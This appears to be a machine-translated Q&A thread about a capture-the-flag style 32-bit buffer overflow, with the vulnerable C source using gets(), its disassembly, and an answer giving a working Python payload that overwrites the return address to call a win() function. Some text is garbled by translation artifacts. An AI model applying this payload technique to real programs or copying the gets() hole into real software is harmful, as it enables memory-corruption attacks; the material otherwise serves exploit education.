缓冲区溢出:覆盖 CH

Buffer overflow: overrwrite CH

我有一个易受缓冲区溢出攻击的程序。易受攻击的函数有两个参数。第一个是标准的 4 个字节。然而,对于第二个,程序执行以下操作:

xor ch, 0
...
cmp     dword ptr [ebp+10h], 0F00DB4BE

现在,如果我提供 2 个不同的 4 字节参数,作为我利用的一部分,即 ABCDEFGH(假设 ABCD 是第一个参数,EFGH 第二个),CH 变成 G。所以我自然而然地想到制作以下内容(假设 ABCD 是正确的):

ABCD\x00\x0d\x00\x00

然而,nullbutes 似乎被忽略了!在 CH = 0CL = 0xd 中发送上述结果。无论我把 \x0d 放在哪里,都会发生这种情况,即:

ABCD\x0d\x00\x00\x00 ABCD\x00\x0d\x00\x00 ABCD\x00\x00\x0d\x00 ABCD\x00\x00\x00\x0d

都产生相同的行为。

我怎样才能继续只覆盖 CH 而将 ECX 的其余部分保留为空?

编辑:请参阅下面我自己的回答。简短的版本是 bash 忽略空字节,它部分解释了为什么该漏洞利用在本地不起作用。具体原因可以参考here。感谢 Michael Petch 指出!

来源:

#include <stdio.h>
#include <stdlib.h>

void win(long long arg1, int arg2)
{
    if (arg1 != 0x14B4DA55 || arg2 != 0xF00DB4BE)
    {
        puts("Close, but not quite.");
        exit(1);
    }

    printf("You win!\n");

}

void vuln()
{
    char buf[16];
    printf("Type something>");
    gets(buf);
    printf("You typed %s!\n", buf);
}

int main()
{
    /* Disable buffering on stdout */
    setvbuf(stdout, NULL, _IONBF, 0);

    vuln();
    return 0;
}

objdump反汇编可执行文件的相关部分是:

080491c2 <win>:
 80491c2:       55                      push   %ebp
 80491c3:       89 e5                   mov    %esp,%ebp
 80491c5:       81 ec 28 01 00 00       sub    [=12=]x128,%esp
 80491cb:       8b 4d 08                mov    0x8(%ebp),%ecx
 80491ce:       89 8d e0 fe ff ff       mov    %ecx,-0x120(%ebp)
 80491d4:       8b 4d 0c                mov    0xc(%ebp),%ecx
 80491d7:       89 8d e4 fe ff ff       mov    %ecx,-0x11c(%ebp)
 80491dd:       8b 8d e0 fe ff ff       mov    -0x120(%ebp),%ecx
 80491e3:       81 f1 55 da b4 14       xor    [=12=]x14b4da55,%ecx
 80491e9:       89 c8                   mov    %ecx,%eax
 80491eb:       8b 8d e4 fe ff ff       mov    -0x11c(%ebp),%ecx
 80491f1:       80 f5 00                xor    [=12=]x0,%ch
 80491f4:       89 ca                   mov    %ecx,%edx
 80491f6:       09 d0                   or     %edx,%eax
 80491f8:       85 c0                   test   %eax,%eax
 80491fa:       75 09                   jne    8049205 <win+0x43>
 80491fc:       81 7d 10 be b4 0d f0    cmpl   [=12=]xf00db4be,0x10(%ebp)
 8049203:       74 1a                   je     804921f <win+0x5d>
 8049205:       83 ec 0c                sub    [=12=]xc,%esp
 8049208:       68 08 a0 04 08          push   [=12=]x804a008
 804920d:       e8 4e fe ff ff          call   8049060 <puts@plt>
 8049212:       83 c4 10                add    [=12=]x10,%esp
 8049215:       83 ec 0c                sub    [=12=]xc,%esp
 8049218:       6a 01                   push   [=12=]x1
 804921a:       e8 51 fe ff ff          call   8049070 <exit@plt>
 804921f:       83 ec 0c                sub    [=12=]xc,%esp
 8049222:       68 1e a0 04 08          push   [=12=]x804a01e
 8049227:       e8 34 fe ff ff          call   8049060 <puts@plt>
 804922c:       83 c4 10                add    [=12=]x10,%esp
 804922f:       83 ec 08                sub    [=12=]x8,%esp
 8049232:       68 27 a0 04 08          push   [=12=]x804a027
 8049237:       68 29 a0 04 08          push   [=12=]x804a029
 804923c:       e8 5f fe ff ff          call   80490a0 <fopen@plt>
 8049241:       83 c4 10                add    [=12=]x10,%esp
 8049244:       89 45 f4                mov    %eax,-0xc(%ebp)
 8049247:       83 7d f4 00             cmpl   [=12=]x0,-0xc(%ebp)
 804924b:       75 12                   jne    804925f <win+0x9d>
 804924d:       83 ec 0c                sub    [=12=]xc,%esp
 8049250:       68 34 a0 04 08          push   [=12=]x804a034
 8049255:       e8 06 fe ff ff          call   8049060 <puts@plt>
 804925a:       83 c4 10                add    [=12=]x10,%esp
 804925d:       eb 31                   jmp    8049290 <win+0xce>
 804925f:       83 ec 04                sub    [=12=]x4,%esp
 8049262:       ff 75 f4                pushl  -0xc(%ebp)
 8049265:       68 00 01 00 00          push   [=12=]x100
 804926a:       8d 85 f4 fe ff ff       lea    -0x10c(%ebp),%eax
 8049270:       50                      push   %eax
 8049271:       e8 da fd ff ff          call   8049050 <fgets@plt>
 8049276:       83 c4 10                add    [=12=]x10,%esp
 8049279:       83 ec 08                sub    [=12=]x8,%esp
 804927c:       8d 85 f4 fe ff ff       lea    -0x10c(%ebp),%eax
 8049282:       50                      push   %eax
 8049283:       68 86 a0 04 08          push   [=12=]x804a086
 8049288:       e8 a3 fd ff ff          call   8049030 <printf@plt>
 804928d:       83 c4 10                add    [=12=]x10,%esp
 8049290:       90                      nop
 8049291:       c9                      leave
 8049292:       c3                      ret

08049293 <vuln>:
 8049293:       55                      push   %ebp
 8049294:       89 e5                   mov    %esp,%ebp
 8049296:       83 ec 18                sub    [=12=]x18,%esp
 8049299:       83 ec 0c                sub    [=12=]xc,%esp
 804929c:       68 90 a0 04 08          push   [=12=]x804a090
 80492a1:       e8 8a fd ff ff          call   8049030 <printf@plt>
 80492a6:       83 c4 10                add    [=12=]x10,%esp
 80492a9:       83 ec 0c                sub    [=12=]xc,%esp
 80492ac:       8d 45 e8                lea    -0x18(%ebp),%eax
 80492af:       50                      push   %eax
 80492b0:       e8 8b fd ff ff          call   8049040 <gets@plt>
 80492b5:       83 c4 10                add    [=12=]x10,%esp
 80492b8:       83 ec 08                sub    [=12=]x8,%esp
 80492bb:       8d 45 e8                lea    -0x18(%ebp),%eax
 80492be:       50                      push   %eax
 80492bf:       68 a0 a0 04 08          push   [=12=]x804a0a0
 80492c4:       e8 67 fd ff ff          call   8049030 <printf@plt>
 80492c9:       83 c4 10                add    [=12=]x10,%esp
 80492cc:       90                      nop
 80492cd:       c9                      leave
 80492ce:       c3                      ret

080492cf <main>:
 80492cf:       8d 4c 24 04             lea    0x4(%esp),%ecx
 80492d3:       83 e4 f0                and    [=12=]xfffffff0,%esp
 80492d6:       ff 71 fc                pushl  -0x4(%ecx)
 80492d9:       55                      push   %ebp
 80492da:       89 e5                   mov    %esp,%ebp
 80492dc:       51                      push   %ecx
 80492dd:       83 ec 04                sub    [=12=]x4,%esp
 80492e0:       a1 34 c0 04 08          mov    0x804c034,%eax
 80492e5:       6a 00                   push   [=12=]x0
 80492e7:       6a 02                   push   [=12=]x2
 80492e9:       6a 00                   push   [=12=]x0
 80492eb:       50                      push   %eax
 80492ec:       e8 9f fd ff ff          call   8049090 <setvbuf@plt>
 80492f1:       83 c4 10                add    [=12=]x10,%esp
 80492f4:       e8 9a ff ff ff          call   8049293 <vuln>
 80492f9:       b8 00 00 00 00          mov    [=12=]x0,%eax
 80492fe:       8b 4d fc                mov    -0x4(%ebp),%ecx
 8049301:       c9                      leave
 8049302:       8d 61 fc                lea    -0x4(%ecx),%esp
 8049305:       c3                      ret

不清楚您为什么对 ECX 中的值或 win 函数内的 xor ch, 0 指令挂断。从 C 代码可以清楚地看出,对胜利的检查要求 64 位 (long long) arg1 为 0x14B4DA55 和 arg2需要为 0xF00DB4BE。当满足该条件时,它将打印 You win!

我们需要某种缓冲区漏洞,它能够执行 win 函数并让它看起来像是被传递了第一个参数(64 位 long long)和一个 32 -bit int 作为第二个参数。

最明显的方法是在函数 vuln 中结束 运行 buf 战略性地覆盖 return 地址并将其替换为 win。在反汇编输出中,win 位于 0x080491c2。我们需要写入 0x080491c2,然后是 return 地址的一些虚拟值,然后是 64 位值 0x14B4DA55(与 0x0000000014B4DA55 相同),然后是 32 位值 0xF00DB4BE.

需要 return 地址的虚拟值,因为我们需要在堆栈上模拟函数调用。我们不会发出 call 指令,所以我们必须让它看起来好像已经完成了。目标是打印 You win! 之后程序是否崩溃是不相关的。

return 地址 (win)、arg1arg2 必须以相反的顺序存储为字节,因为 x86 处理器是小端。

最后一个大问题是我们必须向 gets 提供多少字节才能超过 运行 缓冲区以到达 return 地址?您可以使用反复试验(暴力破解)来解决这个问题,但我们可以查看对 gets:

调用的反汇编
 80492ac:       8d 45 e8                lea    -0x18(%ebp),%eax
 80492af:       50                      push   %eax
 80492b0:       e8 8b fd ff ff          call   8049040 <gets@plt

LEA 用于计算 buf 在堆栈上的地址(有效地址),并将其作为第一个参数传递给 gets。 0x18 是 24 字节(十进制)。尽管 buf 被定义为 16 字节长度,但编译器还分配了额外的 space 用于对齐目的。我们必须添加额外的 4 个字节来解释函数序言将 EBP 压入堆栈的事实。即总共 28 个字节(24+4)到达堆栈上 return 地址的位置。

使用PYTHON生成输入序列在很多教程中很常见。直接在 shell 字符串中嵌入 NUL([=39=]) 字符可能会导致 shell 程序在 NUL 字节(issue that people have when using BASH)处过早终止字符串。我们可以使用类似以下的方式将字节序列通过管道传输到我们的程序:

python -c 'print "A"*28+"\xc2\x91\x04\x08" \
    +"B"*4+"\x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0"' | ./progname

其中 progname 是您的可执行文件的名称。当 运行 时,它应该类似于:

Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBUڴ!
You win!
Segmentation fault

注意: AB 之间构成 return 地址的 4 个字符不可打印,因此它们不会出现在控制台输出中,但它们以及所有其他不可打印的字符仍然存在。

作为对我自己的问题的有限回答,特别是关于为什么忽略空字节:

这似乎是 bash 似乎忽略空字节的问题

我的许多其他同行在编写漏洞利用程序时都遇到了同样的问题。例如,当使用 gdb 时,它可以在服务器上运行,但不能在本地运行。 Bash 将简单地忽略空字节,因此 \x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0 将被读取为 \x55\xda\xb4\x14\xbe\xb4\x0d\xf0。我仍然不明白它为什么会那样做的确切原因,但记住这一点是件好事!